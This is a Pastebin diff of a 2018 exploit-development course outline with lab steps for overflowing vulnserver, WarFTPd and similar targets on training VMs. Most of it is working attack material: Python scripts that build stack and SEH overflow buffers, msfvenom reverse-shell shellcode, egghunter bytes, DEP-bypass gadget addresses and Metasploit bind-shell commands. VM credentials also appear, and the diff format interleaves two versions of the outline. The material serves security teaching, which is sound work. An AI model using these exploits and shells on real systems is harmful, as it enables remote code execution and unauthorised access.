View difference between Paste ID: xaRxgYqQ and VfwhT8Yd
SHOW: | | - or go back to the newest paste.
1-
San Diego Exploit Development 2018
1+
2
# Exploit Development 2018 #
3-
Whitepapers of interest:
3+
4-
https://www.sans.org/reading-room/whitepapers/firewalls/tactical-data-diodes-industrial-automation-control-systems-36057
4+
5
6
7
8
9
10
#######################
11
# VMs for this course #
12
#######################
13
https://s3.amazonaws.com/infosecaddictsvirtualmachines/Win7x64.zip
14
    username: workshop
15
    password: password
16
   
17
https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip
18
user:      infosecaddicts
19
pass:      infosecaddicts
20
 
21
You don't have to, but you can do the updates in the Win7 VM (yes, it is a lot of updates).
22
23
24
25
26
27
#######################################################
28
# Files you may find helpful for learning Exploit Dev #
29
#######################################################
30-
https://s3.amazonaws.com/secureninja/files/slides.zip
30+
31
32
33
34
35
36
#####################################
37
# Quick Stack Based Buffer Overflow #
38
#####################################
39
 
40
- You can download everything you need for this exercise (except netcat) from the link below
41
https://s3.amazonaws.com/infosecaddictsfiles/ExploitLab.zip
42
 
43
- Extract this zip file to your Desktop
44
 
45
- Go to folder C:\Users\Workshop\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe
46
 
47
- Open a new command prompt and type:
48
49
---------------------------Type This-----------------------------------
50
51
nc localhost 9999
52
--------------------------------------------------------------------------
53
54
- In the new command prompt window where you ran nc type:
55
HELP
56
 
57
- Go to folder C:\Users\Workshop\Desktop\ExploitLab\4-AttackScripts
58
- Right-click on 1-simplefuzzer.py and choose the option edit with notepad++
59
 
60
- Now double-click on 1-simplefuzzer.py
61
- You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on.
62
 
63
 
64
- Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.
65
 
66
- Now go to folder C:\Users\Workshop\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe
67
 
68
- Go back to folder C:\Users\Workshop\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.
69
 
70
- Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s).
71
 
72
- Now isolate the crash by restarting your debugger and running script 2-3000chars.py
73
 
74
- Calculate the distance to EIP by running script 3-3000chars.py
75
- This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338
76
 
77
4-count-chars-to-EIP.py
78
- In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
79
- so we search for 8Co9 in the string of nonrepeating chars and count the distance to it
80
 
81
5-2006char-eip-check.py
82
- In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242
83
 
84
6-jmp-esp.py
85
- In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll
86
 
87
7-first-exploit
88
- In this script we actually do the stack overflow and launch a bind shell on port 4444
89
 
90
8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.
91
 
92
 
93
------------------------------
94
95
---------------------------Type This-----------------------------------
96
97
 
98
cd /home/infosecaddicts/toolz/metasploit/modules/exploits/windows/misc
99
 
100
vi vulnserv.rb    (paste the code into this file)
101
102
103
cd ~/toolz/metasploit
104
 
105
./msfconsole
106
 
107
 
108
 
109
use exploit/windows/misc/vulnserv
110
set PAYLOAD windows/meterpreter/bind_tcp
111
set RHOST CHANGEME-TO-YOUR-WIN7-IP
112
set RPORT 9999
113
exploit
114
-----------------------------------------------------------------------
115
116
-----------------------------------------------------------------------------------
117
Day 1 Homework:
118
Watch the following videos and take notes for questions tomorrow.
119
 
120
http://www.securitytube.net/video/1389
121
http://www.securitytube.net/video/1398
122
http://www.securitytube.net/video/1399
123
124
125-
You can download the Secure Ninja courseware here:
125+
126-
https://s3.amazonaws.com/secureninja/files/SecureNinja+-+64-bit+Windows+Exploit+Development+Course.docx
126+
127
128
#########
129-
Morning challenge:
129+
130-
Your task is to convert the SLMail 5.5 exploit (https://www.exploit-db.com/exploits/646) to the multiple script format used yesterday with vulnserver.
130+
131
132
********************************************************
133
* Vulnserver – GMON command SEH based overflow exploit *
134
********************************************************
135
136
-  GMON command has a vulnerability, too, however this vulnerability is SEH based. The proof of concept python script:
137
138
--------------------------Code--------------------------------
139
140
#!/usr/bin/python
141
142
import socket
143
144
characters = 'A' * 5050
145
146
147
 
148-
You can download the Secure Ninja courseware here:
148+
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
149-
https://s3.amazonaws.com/secureninja/files/SecureNinja+-+64-bit+Windows+Exploit+Development+Course.docx
149+
expl.connect(('127.0.0.1', 9999))
150
expl.recv(100)
151
expl.send('GMON /.:/' + characters)
152-
Morning challenge:
152+
expl.close()
153-
Your task is to convert the Easy File Sharing Web Server 7.2 exploit (https://www.exploit-db.com/exploits/39008/) to the multiple script format used with vulnserver and SLMail on your Windows 7 host machine.
153+
154
--------------------------------------------------------------
155-
NOTE: If you did the SMail exploit on Windows XP yesterday, then please do it on Windows 7 today prior to doing the Easy File Sharing Web Server 7.2 exploit.
155+
156
1. Identify the position of EIP. When the application crashes, select View/SEH chain.
157
158
2. As it can be seen, the SE handler is overwritten with A characters. Create a pattern with the Metasploit  tool, update the script and send the buffer to the application.
159-
Day 3 Homework:
159+
160
3. Calculate offset (From here the offset is 3519)
161-
https://s3.amazonaws.com/secureninja/videos/0006-Intro-to-Mona.mp4
161+
162-
https://s3.amazonaws.com/secureninja/videos/0007-Mona-continued.mp4
162+
4. Update python script:
163-
https://s3.amazonaws.com/secureninja/videos/0014-DEP-Basics.mp4
163+
164-
https://s3.amazonaws.com/secureninja/videos/0015-Bypassing-DEP-using-ROP-chains.mp4
164+
--------------------------Code--------------------------------
165
166
#!/usr/bin/python
167
168
import socket
169
import os
170
import sys
171-
You can download the Secure Ninja courseware here:
171+
172-
https://s3.amazonaws.com/secureninja/files/SecureNinja+-+64-bit+Windows+Exploit+Development+Course.docx
172+
173
buffer = 'GMON /.:/' + 'A' * 3519 + '\x42\x42\x42\x42' + 'C' * (5050 - 3519 - 4)
174
175-
Morning challenge:
175+
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
176-
Your task is to convert the Konica Minolta exploit (https://www.exploit-db.com/exploits/39215/, https://www.exploit-db.com/exploits/38252/, https://www.exploit-db.com/exploits/38254/) to the multiple script format used with vulnserver, SLMail, and Easy File Sharing Web Server 7.2 on your Windows 7 host machine.
176+
expl.connect(('127.0.0.1', 9999))
177
expl.recv(100)
178
expl.send(buffer)
179
expl.close()
180
181-
All of the content
181+
--------------------------------------------------------------
182
183-
You can download the Exploit Dev VMs from the links below:
183+
5. Crash the application with the updated script. The offset seems to correct.
184-
https://s3.amazonaws.com/infosecaddictsvirtualmachines/XPSP3-ED-Target.zip
184+
185-
https://s3.amazonaws.com/infosecaddictsvirtualmachines/Strategicsec-XP-ED-Attack-Host.zip
185+
6. Check bad characters - Update Python script to check bad characters:
186-
user:	Administrator
186+
187-
pass: 	strategicsec
187+
--------------------------Code--------------------------------
188
189-
https://s3.amazonaws.com/infosecaddictsvirtualmachines/StrategicsecUbuntu-v3.zip
189+
#!/usr/bin/python
190-
user:	strategicsec
190+
191-
pass: 	strategicsec
191+
192
import os
193
import sys
194-
https://s3.amazonaws.com/infosecaddictsvirtualmachines/asterisk.zip
194+
195-
user: exploitlab
195+
196-
pass: exploitlab
196+
197
chars=(
198
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
199-
All of the exploit script listed below is contained in the following zip file. Please download it to your XP-ED-Attack-Host VM. The password for the zip file is: joemccray
199+
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
200
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
201-
https://s3.amazonaws.com/infosecaddictsfiles/ED-Workshop-Files.zip
201+
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
202
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
203-
###########################
203+
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
204-
# Lab 1a: Stack Overflows #
204+
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
205-
###########################
205+
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
206
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
207-
	#################################
207+
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
208-
	# Start WarFTPd			        #
208+
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
209-
	# Start WinDBG			        #
209+
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
210-
	# Press F6			            #
210+
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
211-
	# Attach to war-ftpd.exe	    #
211+
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
212-
	#################################
212+
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
213
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
214
215
buffer = 'GMON /.:/' + 'A' * (3519 - len(chars)) + chars + '\x42\x42\x42\x42' + 'C' * (5050 - 3519 - 4)
216-
cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1a
216+
217
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
218
expl.connect(('127.0.0.1', 9999))
219-
python warftpd1.py | nc XPSP3-ED-Target-IP 21
219+
expl.recv(100)
220
expl.send(buffer)
221
expl.close()
222-
	At WINDBG prompt
222+
223-
	“r” to show registers or “alt+4”
223+
--------------------------------------------------------------
224
225
- I placed the characters after the four B, but it did not trigger SEH based overflow. Then I placed them before the four B. The characters looks good. The only bad character is the zero.
226
227-
	dd esp
227+
7. Find address for EIP:
228
229
- In case of SEH based overflow, we have two important things to remember. The first one is that there are some protection against SEH and not all module is appropriate. There is an OllyDbg plugin which lists modules whether it contains SEH protection or not. The plugin can be downloaded from here: http://www.openrce.org/downloads/details/244/OllySSEH
230
- The DLL should be copied next to the OllyDbg exe. Then a new submenu will appear in the plugin menu. (SafeSEH OFF)
231
232-
python warftpd2.py | nc XPSP3-ED-Target-IP 21
232+
- There are two modules which were not compiled with SEH protection. The address of vulnserver.exe contains zero character, so that it is not appropriate for us. The other module is essfunc.dll and it might be good.
233
234
- In  case of buffer overflow, we have to find a JMP os CALL instruction. In case of SEH overflow, we have to find a sequence of instructions, POP-POP-RET. The structure of the SEH contains three values on the stack. The first and second POP removes the first two values. The third instruction is the RET. As the third value is the EIP, the RET instruction will move it into EIP.
235
236-
	At WINDBG prompt
236+
- In  order to find a sequence of values in OllyDbg, open the essfunc.dll module, right click on the code and select Search for/All sequences. In the dialog box, type the following:
237-
	“r” to show registers or “alt+4”
237+
238
POP r32
239
POP r32
240
RETN
241-
	dd esp
241+
242
- Select one of the addresses and double click on it. Copy the selected into the script.
243
244-
	Eip: 32714131
244+
245-
	esp: affd58		(71413471)
245+
--------------------------Code--------------------------------
246
247-
	Now we need to SSH into the StrategicSec Ubuntu host
247+
#!/usr/bin/python
248
249
import socket
250
import os
251-
	cd /home/strategicsec/toolz/metasploit/tools
251+
252
253-
	ruby pattern_offset.rb 32714131
253+
# 625011B3 POP-POP-RET from essfunc.dll
254-
	485
254+
255-
	
255+
buffer = 'GMON /.:/' + 'A' * 3519 + '\xb3\x11\x50\x62' + 'C' * (5050 - 3519 - 4)
256-
	ruby pattern_offset.rb 71413471
256+
257-
	493
257+
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
258
expl.connect(('127.0.0.1', 9999))
259
expl.recv(100)
260-
	Distance to EIP is: 		485
260+
expl.send(buffer)
261-
	Relative position of ESP is: 	493
261+
expl.close()
262
263-
	RET – POP EIP
263+
-------------------------------------------------------------- 
264-
	RET 4 – POP EIP and shift ESP down by 4 bytes
264+
265
8.  First stage payload
266
267
268-
	cd /home/strategicsec/toolz/metasploit/
268+
- Let us crash the application with this updated script and see, what the SE handler isl.
269-
	./msfpescan -j ESP DLLs/xpsp3/shell32.dll
269+
270
      # 625011B3 POP-POP-RET from essfunc.dll
271
272-
		0x7c9c167d push esp; retn 0x304d
272+
- Place a breakpoint on the address (Select it and press F2) and press Shift + F9. Then go through the POP-POP-RET instructions (press F7 three times). We stop 4 bytes before the EIP address.
273-
		0x7c9d30d7 jmp esp < - how about we use this one
273+
274-
		0x7c9d30eb jmp esp
274+
- Four bytes is not too much. We can jump here to somewhere else. A short jump is only two bytes. Let us jump after the EIP. Jump to the point where the buffer, which contains the 0x43 bytes, starts. The other two bytes can be filled with NOPs.
275-
		0x7c9d30ff jmp esp
275+
276
     # 017BFFC4   EB 06            JMP SHORT 017BFFCC
277
278-
		warftpd3.py with Notepad++
278+
- This JMP instruction can be considered as the first stage payload.
279-
		Fill in the appropriate values
279+
280-
		Distance to EIP
280+
281-
		Address of JMP ESP
281+
9. Second stage payload
282
283
- After we execute the JMP instructions, we have just a few bytes to execute (from 0174FFCB to 0174FFFF, this is only 34 bytes). There are lot of space in the As buffer, before the EIP address. We can place the reverse shell payload there and jump there from here somehow. The reverse shell can be considered as a third stage payload, and the code, which jumps to it, is the second stage payload.
284
285
- One possible solution is to get the EIP with a trick, subtract some value from it and jump to that address. The assembly code of this trick:
286-
python warftpd3.py | nc XPSP3-ED-Target-IP 21
286+
287
second_stage.asm
288-
	0:003> dd eip
288+
289-
	0:003> dd esp
289+
------------------------------------------------
290
global _start
291
292
_start:
293
294
fldz
295
fnstenv [esp-12]
296-
	Mention bad characters
296+
pop ecx
297-
	No debugger
297+
add cl, 10
298
nop
299
300
dec ch		; ecx=-256;
301
dec ch		; ecx=-256;
302-
python warftpd4.py | nc XPSP3-ED-Target-IP 21
302+
jmp ecx		; lets jmp ecx (current location - 512)
303
304-
nc XPSP3-ED-Target-IP 4444
304+
-------------------------------------------------
305
306
- Let us place this code in the Cs buffer and the reverse shell payload into the As buffer. The reverse shell payload should be placed next to the EIP address and the characters should be NOP instructions.
307
308
- The structure of the buffer:
309-
###########################################
309+
310-
# Lab 1b: Stack Overflows with DEP Bypass #
310+
  NOP instructions | Reverse Shell payload | Short JMP | NOP | NOP | EIP | Second Stage payload
311-
###########################################
311+
312
# shellcode:  ./msfvenom -p windows/shell_reverse_tcp LHOST=192.168.243.166 LPORT=4449 -b "\x00" -f c EXITFUNC=thread
313-
Reboot your target host and choose the "2nd" option for DEP.
313+
314
- The first version of exploit:
315
316-
cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1b
316+
--------------------------Code--------------------------------
317
318
import socket
319
import os
320
import sys
321-
python warftpd1.py | nc XPSP3-ED-Target-IP 21
321+
322
buf = ("\xbb\xd4\x42\x7c\xae\xda\xd5\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
323-
	At WINDBG prompt
323+
"\x52\x83\xea\xfc\x31\x5a\x0e\x03\x8e\x4c\x9e\x5b\xd2\xb9\xdc"
324-
	“r” to show registers or “alt+4”
324+
"\xa4\x2a\x3a\x81\x2d\xcf\x0b\x81\x4a\x84\x3c\x31\x18\xc8\xb0"
325
"\xba\x4c\xf8\x43\xce\x58\x0f\xe3\x65\xbf\x3e\xf4\xd6\x83\x21"
326-
	dd esp
326+
"\x76\x25\xd0\x81\x47\xe6\x25\xc0\x80\x1b\xc7\x90\x59\x57\x7a"
327
"\x04\xed\x2d\x47\xaf\xbd\xa0\xcf\x4c\x75\xc2\xfe\xc3\x0d\x9d"
328
"\x20\xe2\xc2\x95\x68\xfc\x07\x93\x23\x77\xf3\x6f\xb2\x51\xcd"
329
"\x90\x19\x9c\xe1\x62\x63\xd9\xc6\x9c\x16\x13\x35\x20\x21\xe0"
330
"\x47\xfe\xa4\xf2\xe0\x75\x1e\xde\x11\x59\xf9\x95\x1e\x16\x8d"
331-
python warftpd2.py | nc XPSP3-ED-Target-IP 21
331+
"\xf1\x02\xa9\x42\x8a\x3f\x22\x65\x5c\xb6\x70\x42\x78\x92\x23"
332
"\xeb\xd9\x7e\x85\x14\x39\x21\x7a\xb1\x32\xcc\x6f\xc8\x19\x99"
333
"\x5c\xe1\xa1\x59\xcb\x72\xd2\x6b\x54\x29\x7c\xc0\x1d\xf7\x7b"
334-
	At WINDBG prompt
334+
"\x27\x34\x4f\x13\xd6\xb7\xb0\x3a\x1d\xe3\xe0\x54\xb4\x8c\x6a"
335-
	“r” to show registers or “alt+4”
335+
"\xa4\x39\x59\x3c\xf4\x95\x32\xfd\xa4\x55\xe3\x95\xae\x59\xdc"
336-
	dd esp
336+
"\x86\xd1\xb3\x75\x2c\x28\x54\xba\x19\xc1\x02\x52\x58\x25\x5a"
337
"\xc2\xd5\xc3\x36\x14\xb0\x5c\xaf\x8d\x99\x16\x4e\x51\x34\x53"
338
"\x50\xd9\xbb\xa4\x1f\x2a\xb1\xb6\xc8\xda\x8c\xe4\x5f\xe4\x3a"
339-
	Eip: 32714131
339+
"\x80\x3c\x77\xa1\x50\x4a\x64\x7e\x07\x1b\x5a\x77\xcd\xb1\xc5"
340-
	esp: affd58		(71413471)
340+
"\x21\xf3\x4b\x93\x0a\xb7\x97\x60\x94\x36\x55\xdc\xb2\x28\xa3"
341
"\xdd\xfe\x1c\x7b\x88\xa8\xca\x3d\x62\x1b\xa4\x97\xd9\xf5\x20"
342-
	Now we need to SSH into the StrategicSec Ubuntu host
342+
"\x61\x12\xc6\x36\x6e\x7f\xb0\xd6\xdf\xd6\x85\xe9\xd0\xbe\x01"
343
"\x92\x0c\x5f\xed\x49\x95\x7f\x0c\x5b\xe0\x17\x89\x0e\x49\x7a"
344
"\x2a\xe5\x8e\x83\xa9\x0f\x6f\x70\xb1\x7a\x6a\x3c\x75\x97\x06"
345
"\x2d\x10\x97\xb5\x4e\x31")
346-
	cd /home/strategicsec/toolz/metasploit/tools
346+
347
# 625011B3 POP-POP-RET from essfunc.dll
348-
	ruby pattern_offset.rb 32714131
348+
349-
	485
349+
# 017BFFC4   EB 06            JMP SHORT 017BFFCC
350-
	
350+
351-
	ruby pattern_offset.rb 71413471
351+
first_stage = "\xD9\xEE\xD9\x74\x24\xF4\x59\x80\xC1\x0A\x90\xFE\xCD\xFE\xCD\xFF\xE1"
352-
	493
352+
353
buffer = "GMON /.:/" + "\x90" * (3515 - len(buf)) + buf + "\xeb\x06\x90\x90" + "\xb3\x11\x50\x62" + first_stage + "C" * (5050 - 3519 - 4 - len(first_stage))
354
 
355
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
356
expl.connect(('127.0.0.1', 9999))
357
expl.recv(100)
358
expl.send(buffer)
359
expl.close()
360
361-
cd /home/strategicsec/toolz/metasploit/tools
361+
-------------------------------------------------------------
362
363-
ruby pattern_offset.rb 32714131
363+
- The other possible solution is if we use an egghunter. The egghunter is a small code which searches the Virtual Address Space for a certain pattern and if it finds the pattern, then it starts to execute the code after the pattern. The pattern is four byte long. In order to avoid finding the pattern in the egghunter, the four byte should be repeated twice.
364
365-
cd /home/strategicsec/toolz/metasploit/
365+
- The structure of the buffer:
366
367-
./msfpescan -j ESP DLLs/xpsp3/shell32.dll | grep 0x7c9d30d7
367+
   NOP instructions | EGG | EGG | Reverse Shell payload | Short JMP | NOP | NOP | EIP | Egghunter
368
369
# shellcode:  ./msfvenom -p windows/shell_reverse_tcp LHOST=192.168.243.166 LPORT=4449 -b "\x00" -f c EXITFUNC=thread
370
371-
python warftpd3.py | nc XPSP3-ED-Target-IP 21
371+
- The second version of exploit:
372
373-
	0:003> dd eip
373+
--------------------------Code--------------------------------
374-
	0:003> dd esp
374+
375
#!/usr/bin/python
376-
INT3s - GOOD!!!!!!!
376+
377
import socket
378
import os
379
import sys
380-
python warftpd4.py | nc XPSP3-ED-Target-IP 21
380+
381
382-
nc XPSP3-ED-Target-IP 4444
382+
buf = ("\xbb\xd4\x42\x7c\xae\xda\xd5\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
383
"\x52\x83\xea\xfc\x31\x5a\x0e\x03\x8e\x4c\x9e\x5b\xd2\xb9\xdc"
384
"\xa4\x2a\x3a\x81\x2d\xcf\x0b\x81\x4a\x84\x3c\x31\x18\xc8\xb0"
385
"\xba\x4c\xf8\x43\xce\x58\x0f\xe3\x65\xbf\x3e\xf4\xd6\x83\x21"
386-
strategicsec....exploit no workie!!!!
386+
"\x76\x25\xd0\x81\x47\xe6\x25\xc0\x80\x1b\xc7\x90\x59\x57\x7a"
387
"\x04\xed\x2d\x47\xaf\xbd\xa0\xcf\x4c\x75\xc2\xfe\xc3\x0d\x9d"
388
"\x20\xe2\xc2\x95\x68\xfc\x07\x93\x23\x77\xf3\x6f\xb2\x51\xcd"
389-
Why????????? DEP!!!!!!!!!!!!!
389+
"\x90\x19\x9c\xe1\x62\x63\xd9\xc6\x9c\x16\x13\x35\x20\x21\xe0"
390
"\x47\xfe\xa4\xf2\xe0\x75\x1e\xde\x11\x59\xf9\x95\x1e\x16\x8d"
391
"\xf1\x02\xa9\x42\x8a\x3f\x22\x65\x5c\xb6\x70\x42\x78\x92\x23"
392
"\xeb\xd9\x7e\x85\x14\x39\x21\x7a\xb1\x32\xcc\x6f\xc8\x19\x99"
393
"\x5c\xe1\xa1\x59\xcb\x72\xd2\x6b\x54\x29\x7c\xc0\x1d\xf7\x7b"
394-
Let's look through ole32.dll for the following instructions:
394+
"\x27\x34\x4f\x13\xd6\xb7\xb0\x3a\x1d\xe3\xe0\x54\xb4\x8c\x6a"
395
"\xa4\x39\x59\x3c\xf4\x95\x32\xfd\xa4\x55\xe3\x95\xae\x59\xdc"
396-
mov al,0x1
396+
"\x86\xd1\xb3\x75\x2c\x28\x54\xba\x19\xc1\x02\x52\x58\x25\x5a"
397-
ret 0x4
397+
"\xc2\xd5\xc3\x36\x14\xb0\x5c\xaf\x8d\x99\x16\x4e\x51\x34\x53"
398
"\x50\xd9\xbb\xa4\x1f\x2a\xb1\xb6\xc8\xda\x8c\xe4\x5f\xe4\x3a"
399-
We need to set al to 0x1 for the LdrpCheckNXCompatibility routine.
399+
"\x80\x3c\x77\xa1\x50\x4a\x64\x7e\x07\x1b\x5a\x77\xcd\xb1\xc5"
400
"\x21\xf3\x4b\x93\x0a\xb7\x97\x60\x94\x36\x55\xdc\xb2\x28\xa3"
401
"\xdd\xfe\x1c\x7b\x88\xa8\xca\x3d\x62\x1b\xa4\x97\xd9\xf5\x20"
402
"\x61\x12\xc6\x36\x6e\x7f\xb0\xd6\xdf\xd6\x85\xe9\xd0\xbe\x01"
403
"\x92\x0c\x5f\xed\x49\x95\x7f\x0c\x5b\xe0\x17\x89\x0e\x49\x7a"
404-
./msfpescan -D -r "\xB0\x01\xC2\x04" DLLs/xpsp3/ole32.dll
404+
"\x2a\xe5\x8e\x83\xa9\x0f\x6f\x70\xb1\x7a\x6a\x3c\x75\x97\x06"
405
"\x2d\x10\x97\xb5\x4e\x31")
406
407-
[DLLs/xpsp3/ole32.dll]
407+
# 625011B3 POP-POP-RET from essfunc.dll
408-
0x775ee00e b001c204
408+
409-
0x775ee00e      mov al, 1
409+
# 017BFFC4   EB 06            JMP SHORT 017BFFCC
410-
0x775ee010      ret 4
410+
411
first_stage = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
412
413-
Then we need to jump to the LdrpCheckNXCompatibility routine in 
413+
egg = "\x54\x30\x30\x57"	# 0x57303054
414-
ntdll.dll that disables DEP.
414+
415
buffer = "GMON /.:/" + "\x90" * (3515 - 4 - 4 - len(buf)) + egg + egg + buf + "\xeb\x06\x90\x90" + "\xb3\x11\x50\x62" + first_stage + "C" * (5050 - 3519 - 4 - len(first_stage))
416
417
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
418-
Inside of ntdll.dll we need to find the following instructions:
418+
expl.connect(('127.0.0.1', 9999))
419
expl.recv(100)
420-
CMP AL,1
420+
expl.send(buffer)
421-
PUSH 2
421+
expl.close()
422-
POP ESI
422+
423-
JE ntdll.7
423+
---------------------------------------------------------------
424
425
426
427
Today, let's work on the Konica Minolta SEH overwrite. You can look at the public exploit code, and download the target vulnerable application from here:
428-
./msfpescan -D -r "\x3C\x01\x6A\x02\x5E\x0F\x84" DLLs/xpsp3/ntdll.dll
428+
https://www.exploit-db.com/exploits/39215/
429
430
You can download the attack scripts from today from here:
431-
[DLLs/xpsp3/ntdll.dll]
431+
https://s3.amazonaws.com/infosecaddictsfiles/2018-Exploit-Dev.zip
432-
0x7c91cd24 3c016a025e0f84
432+
433-
0x7c91cd24      cmp al, 1
433+
434-
0x7c91cd26      push 2
434+
435-
0x7c91cd28      pop esi
435+
Quick challenge:
436-
0x7c91cd29      jz 7
436+
Your task is to convert the SLMail 5.5 exploit (https://www.exploit-db.com/exploits/646) to the multiple script format used yesterday with vulnserver. Email both the scripts and a word document with screenshots detailing how you took the script from exploit-db.com and converted it to the multiple script format on Windows 7. Send both the scripts and the word document to Kofo and Ivana (kofogt@infosecaddicts.com, and ivana@strategicsec.com) in order to receive your CPEs from this class.
437
438
439-
This set of instructions makes sure that AL is set to 1, 2 is pushed 
439+
440-
on the stack then popped into ESI.
440+
441
Watch the following videos and take notes for questions tomorrow.
442
http://www.securitytube.net/video/1406
443
http://www.securitytube.net/video/1407
444
http://www.securitytube.net/video/1408
445
446
447-
dep = "\x0e\xe0\x5e\x77"+\
447+
448-
"\xff\xff\xff\xff"+\
448+
449-
"\x24\xcd\x91\x7c"+\
449+
450-
"\xff\xff\xff\xff"+\
450+
451-
"A"*0x54
451+
452
# Day 3 #
453
#########
454
455
*****************************************************
456-
python warftpd5.py | nc XPSP3-ED-Target-IP 21
456+
* Vulnserver – KSTET command exploit with egghunter *
457
*****************************************************
458-
nc XPSP3-ED-Target-IP 4444
458+
459
--------------------------Code--------------------------------
460
461
#!/usr/bin/python
462-
########################################
462+
463-
# Lab 2a: Not Enough Space (Egghunter) #
463+
464-
########################################
464+
465
import sys
466
467
468-
cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2a\sws_skeleton
468+
buffer = "KSTET /.:/" + "A" * 5011
469
470
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
471-
SWS - SIMPLE WEB SERVER
471+
expl.connect(('127.0.0.1', 9999))
472-
-----------------------
472+
expl.recv(100)
473
expl.send(buffer)
474-
Running SWS on Strategicsec-XP-ED-Target-VM
474+
expl.close()
475-
Start > Programs > Simple Web Server (it's in the middle somewhere)
475+
476-
Red icon in system tray
476+
-------------------------------------------------------------
477-
Double click it
477+
478-
- it will pop up a menu
478+
- The value of EIP is 0x41414141. It is overwritten with our As. It is a simple buffer overflow exploit. 
479-
- select "start"
479+
480-
- dialog box shows starting params - port 82
480+
- However only 90 A characters are in the memory.
481
482-
WinDBG
482+
- This place is too small for a reverse shell, but enough for an egghunter. The egghunter is a small code which searches for a unique pattern (the egg) in the memory, and if it finds the pattern, the egghunter starts to execute the code after the unique pattern.
483-
- attach to "server.exe"
483+
484
- The exploit development steps are the same as in the previous cases:
485
486
1. We have to find the offset from where the EIP is overwritten.
487-
python sws1.py | nc XPSP3-ED-Target-IP 82
487+
2. Then we have to find an address. In our case JMP ESP is a good candidate as the ESP points into the middle of the As buffer.
488
3. We have 20 byte to jump to the beginning of the As buffer.
489
4. The egghunter should be placed right after the ‘KSTET /.:/’.
490
5. The reverse shell should be placed somehow into the memory with the egg.
491-
python sws2.py | nc XPSP3-ED-Target-IP 82
491+
492
--------------------------Code--------------------------------
493
494-
SSH into the Ubuntu host (user: strategicsec/pass: strategicsec)
494+
#!/usr/bin/python
495-
cd /home/strategicsec/toolz/metasploit/tools
495+
496-
ruby pattern_offset.rb 41356841				<------- You should see that EIP is at 225
496+
497-
ruby pattern_offset.rb 68413668				<------- You should see that ESP is at 229
497+
498
import sys
499
500
501
# 62501205 from essfunc.dll	JMP ESP
502
503
buffer = "KSTET /.:/" + "A" * 66 + "\x05\x12\x50\x62" + "C" * (5011 - 66 - 4)
504
505
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
506
expl.connect(('127.0.0.1', 9999))
507-
EGGHUNTER:
507+
expl.recv(100)
508-
----------
508+
expl.send(buffer)
509
expl.close()
510-
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
510+
511-
"\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
511+
--------------------------------------------------------------
512-
          ^^^^^^^^^^^^^^^^
512+
513-
               ABBA
513+
1. Jump backward
514-
                                         JMP ESP
514+
- We have 20 bytes to jump backward. (The 0x43 part of the memory.)
515-
                                        /
515+
516-
                                       /
516+
